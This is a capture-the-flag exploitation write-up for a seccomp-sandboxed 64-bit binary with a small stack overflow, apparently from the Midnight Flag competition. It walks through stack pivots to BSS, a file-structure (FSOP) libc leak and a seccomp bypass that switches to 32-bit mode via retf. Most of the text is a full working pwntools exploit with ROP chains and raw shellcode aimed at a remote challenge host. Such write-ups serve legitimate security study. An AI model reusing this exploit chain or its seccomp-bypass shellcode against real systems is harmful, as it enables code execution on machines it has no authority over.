
Reverse
void setup(void)
{
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
fflush(stdin);
return;
}
undefined8 main(void)
{
char local_88 [128];
setup();
setup_seccomp();
fgets(local_88,150,stdin);
return 0;
}
A simple 22-byte overflow with no obvious way for data to leak.Phase 1 — Double-stack pivot to control ROP
A 22-byte overflow is enough to overwrite RBP and RIP. Not enough for a full chain, but enough for a LEAVE; RET => the stack pivots to BSS.
Pivot 1 - BSS+0x500
We overwrite rbp with BSS+0x500 and rip with the 0x4013bc gadget from the binary. At the end of the main function, the leave instruction sets rsp = rbp => we end up in BSS, and we can determine the address of our buffer to re-stack the pivot onto it.
pwndbg> disass main
Dump of assembler code for function main:
0x00000000004013aa <+0>: push rbp
0x00000000004013ab <+1>: mov rbp,rsp
0x00000000004013ae <+4>: add rsp,0xffffffffffffff80
0x00000000004013b2 <+8>: call 0x4012f5 <setup>
0x00000000004013b7 <+13>: call 0x401156 <setup_seccomp>
0x00000000004013bc <+18>: mov rdx,QWORD PTR [rip+0x2c6d] # 0x404030 <stdin@GLIBC_2.2.5>
0x00000000004013c3 <+25>: lea rax,[rbp-0x80]
0x00000000004013c7 <+29>: mov esi,0x96
0x00000000004013cc <+34>: mov rdi,rax
0x00000000004013cf <+37>: call 0x401030 <fgets@plt>
0x00000000004013d4 <+42>: mov eax,0x0
0x00000000004013d9 <+47>: leave
0x00000000004013da <+48>: ret
End of assembler dump.
payload = b"A" * (136-8) + p64(BSS+0x500) + p64(0x4013bc)
p.sendline(payload)
Pivot 2 - BSS+0x600
Starting at BSS+0x500, a second ROP is sent that:
- still pivots to BSS+0x600
- calls SET_RDX_STDIN followed by fgets(BSS+0x600, 0x700, stdin) to receive an arbitrarily long ROP
payload2 = p64(BSS+0x600) # nouveau rbp pour le prochain leave
payload2 += p64(SET_RDX_STDIN) # BSS+0x500-0x80
payload2 += p64(POP_RDI)
payload2 += p64(BSS+0x600)
payload2 += p64(POP_RSI_R15)
payload2 += p64(0x700)*2
payload2 += p64(0x4013cf) # call fgets
payload2 += cyclic(128-len(payload2))
payload2 += p64(BSS+0x500-0x80) + p64(LEAVE_RET)
p.sendline(payload2) # BSS+0x500-0x80 => addresse de notre 3eme ROP
From there, we have an ROP chain of arbitrary length in BSS.
Phase 2 - Leakless FSOP: Writing to stdout to trigger a libc leak
No entries in the binary => no trivial leak. But stdout is in BSS (GLIBC symbols are visible), and fflush is in the GOT. The idea: rewrite the stdout FILE structure in memory so that its buffer points to the GOT, then call fflush to trigger a write to fd=1.
The null byte problem
The _IO_FILE structure contains 8-byte libc pointers. We cannot write them directly with fgets because fgets appends a \x00 after each read — the 8th byte of a libc address would therefore be overwritten.
Solution: chain multiple fgets calls of size 7, interleaving GOT addresses between ROP gadgets. The null byte of the 8th byte corresponds to the null MSB of canonical addresses (0x00007f...).

To this layout:

By stacking pivots + fgets(addr, 7, stdin) calls, we write the missing gadgets between the existing GOT addresses without touching their null MSB.
payload3 += p64(SET_RDX_STDIN)
payload3 += p64(POP_RDI)
payload3 += p64(0x404020-8) # stdout GOT - 8
payload3 += p64(POP_RSI_R15)
payload3 += p64(7)*2 # size 7: null byte lands on null MSB
payload3 += p64(FGETS)
Building the fake FILE struct
Once the BSS is properly set up, we send the fake _IO_FILE structure:
stdout_struct = p64(0x00000000fbad2087) # _flags
stdout_struct += p64(0)
stdout_struct += p64(exe.got.fflush) # _IO_write_base → start of the leak
stdout_struct += p64(0)
stdout_struct += p64(exe.got.fflush) # _IO_read_end
stdout_struct += p64(exe.got.fflush + 8) # _IO_write_end → 8 bytes written._IO_write_base points to fflush@GOT, _IO_write_end points 8 bytes further. When fflush(stdout) is called, libc writes the buffer contents (= the real address of fflush in libc) to fd=1.
We can then call fflush again with rdi pointing to the stdout address using the same technique as writing into the file struct.
leak = u64(p.recv()[0:8])
libc.address = leak - libc.sym.fflush
Phase 3 - RCE via architecture switch (retf)
Seccomp blocks execve, execveat, open, openat in 64-bit mode. But these syscalls have different numbers in 32-bit mode — and seccomp only filters the current architecture.
Plan:
mprotect(BSS, 0x1000, RWX)to make the BSS executable- Write a 32-bit shellcode into the BSS
retfto switch CS to 0x23 (compat mode 32-bit) and jump to the shellcode
mprotect + retf
POP_RDX_POP_RBX = libc.address + 0x8f0c5 # pop rdx ; pop rbx ; ret
RETF = libc.address + 0x294bf # retf
sp2 = scCompiled # stager : read 32 bits shellcode en BSS+0xa80
sp2 += p64(POP_RDX_POP_RBX)
sp2 += p64(7)*2 # rwx
sp2 += p64(POP_RDI)
sp2 += p64(0x404000) # BSS base
sp2 += p64(POP_RSI_R15)
sp2 += p64(0x1000)*2
sp2 += p64(libc.sym.mprotect)
sp2 += p64(RETF) # far return
sp2 += p32(0x404a80) # rip → shellcode 32 bits
sp2 += p32(0x23) # cs → 0x23 = compat mode
retf performs a pop rip + pop cs: we switch to IA-32e compatibility mode (32-bit), and the CPU starts executing 32-bit instructions at 0x404a80.
32-bit shellcode - open/read/write the flag
# open("////flag", O_RDONLY) / read(fd, buf, 100) / write(1, buf, ?)
shellcode = b"\x90"*0x90
shellcode += b"\xBC\x00\x41\x40\x00" # mov esp, 0x404100
shellcode += b"\x31\xC9\x51"
shellcode += b"\x68\x66\x6C\x61\x67" # push "flag"
shellcode += b"\x68\x2F\x2F\x2F\x2F" # push "////"
shellcode += b"\x89\xE3" # mov ebx, esp
shellcode += b"\xB8\x05\x00\x00\x00\xCD\x80" # open syscall (32 bits = 5)
shellcode += b"\x89\xC3" # mov ebx, eax (fd)
shellcode += b"\x83\xEC\x64\x89\xE1" # buf sur la stack
shellcode += b"\xBA\x64\x00\x00\x00\xB8\x03\x00\x00\x00\xCD\x80" # read
shellcode += b"\xBB\x01\x00\x00\x00\x89\xC2\xB8\x04\x00\x00\x00\x89\xE1\xCD\x80" # write
shellcode += b"\x31\xDB\xB8\x01\x00\x00\x00\xCD\x80" # exit
In 32-bit mode, the syscalls open (5), read (3), write (4) are not filtered by seccomp, which was configured for the 64-bit architecture.

Full exploit
from pwn import *
exe = ELF("./main")
libc = ELF("./libc.so.6")
context.binary = exe
FGETS = exe.plt.fgets
POP_RDI = 0x00000000004013a5
RET = POP_RDI + 1 # ret
POP_RSI_R15 = 0x00000000004013a3
SET_RDX_STDIN = 0x000000000040136a
BSS = 0x404000
LEAVE_RET = 0x00000000004013d9 # : leave ; ret
POP_R13_R14_R15 = 0x00000000004013a0 # pop r13 ; pop r14 ; pop r15 ; ret
POP_RBP = 0x000000000040113d
#p = process("./main")
p = remote("dyn-02.midnightflag.fr",12429)
offset = 136
payload = b"A" * (136-8) + p64(BSS+0x500) + p64(0x00000000004013bc) # set rdx main
p.sendline(payload)
payload2 = p64(BSS+0x600) # pivot
payload2 += p64(SET_RDX_STDIN)
payload2 += p64(POP_RDI)
payload2 += p64(BSS+0x600)
payload2 += p64(POP_RSI_R15)
payload2 += p64(0x700)*2
payload2 += p64(0x00000000004013cf)
payload2 += cyclic(128-len(payload2))
payload2 += p64(BSS+0x500-0x80) + p64(LEAVE_RET)
p.sendline(payload2)
# 3 stage fgets rop
# write another rop to fgets into stdout file struct
payload3 = p64(0x404010)
payload3 += p64(RET)
payload3 += p64(SET_RDX_STDIN)
payload3 += p64(POP_RDI)
payload3 += p64(0x404020-8) # stdout-8
payload3 += p64(POP_RSI_R15)
payload3 += p64(7)*2
payload3 += p64(FGETS)
payload3 += p64(SET_RDX_STDIN)
payload3 += p64(POP_RDI)
payload3 += p64(0x404028-1) # stdin-8 # -1 bah jsp en debug ca va pas le -8 seulement
payload3 += p64(POP_RSI_R15)
payload3 += p64(7)*2
payload3 += p64(FGETS) # send POP_R13_R14_R15
payload3 += p64(SET_RDX_STDIN)
payload3 += p64(POP_RDI)
payload3 += p64(0x404048-2) # stdin-8
payload3 += p64(POP_RSI_R15)
payload3 += p64(0x700)*2
payload3 += p64(FGETS) # send POP_R13_R14_R15)
payload3 += p64(LEAVE_RET)
p.sendline(payload3)
p.send(p64(POP_RDI)[0:7])
p.send(p64(POP_R13_R14_R15)[0:7])
ropLeak = p64(POP_RSI_R15) + p64(0x8*6)*2 + p64(SET_RDX_STDIN) + p64(POP_RBP) + p64(BSS+0x300) + p64(RET)*100 + p64(FGETS)
ropLeak += (p64(POP_RSI_R15) + p64(0x400)*2 + p64(SET_RDX_STDIN) + p64(POP_RDI) + p64(0x404048) + p64(FGETS)) * 2 + p64(POP_RBP) + p64(0x404010) + p64(LEAVE_RET) # fflush stdout after rwritting file struct
p.sendline(ropLeak)
stdout_struct = p64(0x00000000fbad2087)
stdout_struct += p64(0)
stdout_struct += p64(exe.got.fflush)
stdout_struct += p64(0)
stdout_struct += p64(exe.got.fflush)
stdout_struct += p64(exe.got.fflush + 8)
p.send(stdout_struct)
ropfflush = p64(POP_RBP)+p64(BSS + 0xA00)+ p64(RET)*70 + p64(exe.plt.fflush)+ p64(RET)*5
ropfflush += p64(POP_RBP) + p64(BSS + 0xb00) + p64(0x00000000004013bc) # ret2main car la trop le bordel en bss pour faire un truc viable donc restart !
p.sendline(ropfflush)
p.sendline(ropfflush) # 2 fois je sais pas pourquoi il recoit pas le programme sinon :/
# 0x000000000008f0c5 : pop rdx ; pop rbx ; ret
leak = u64(p.recv()[0:8])
libc.address = leak - libc.sym.fflush
print(f"libc.address: {hex(libc.address)}")
scCompiled = b"\x90"*9 + b"\xBB\x00\x00\x00\x00\xB9\x80\x4A\x40\x00\xBA\x00\x10\x00\x00\xB0\x03\xCD\x80" # stager
POP_RDX_POP_RBX = libc.address + 0x000000000008f0c5
# 0x00000000000294bf : retf
RETF = libc.address + 0x00000000000294bf
sp2 = scCompiled # stager read shellcode
sp2 += p64(POP_RDX_POP_RBX)
sp2 += p64(7)*2 # rwx
sp2 += p64(POP_RDI)
sp2 += p64(0x404000) # BSS
sp2 += p64(POP_RSI_R15)
sp2 += p64(0x1000)*2
sp2 += p64(libc.sym.mprotect) # set page rwx
sp2 += p64(RETF) # changement d'arch pour bypass seccomp
sp2 += p32(0x404a80)
sp2 += p32(0x23)
sp2 += b"A"*(128-len(sp2))
sp2 += p64(0x404a9c-8) + p64(LEAVE_RET) # stack pivot sur la rop memprotect
p.sendline(sp2)
p.sendline(b"\x90"*0x90 + b"\xBC\x00\x41\x40\x00\x31\xC9\x51\x68\x66\x6C\x61\x67\x68\x2F\x2F\x2F\x2F\x89\xE3\xB8\x05\x00\x00\x00\xCD\x80\x89\xC3\x83\xEC\x64\x89\xE1\xBA\x64\x00\x00\x00\xB8\x03\x00\x00\x00\xCD\x80\xBB\x01\x00\x00\x00\x89\xC2\xB8\x04\x00\x00\x00\x89\xE1\xCD\x80\x31\xDB\xB8\x01\x00\x00\x00\xCD\x80") # shellcode open read write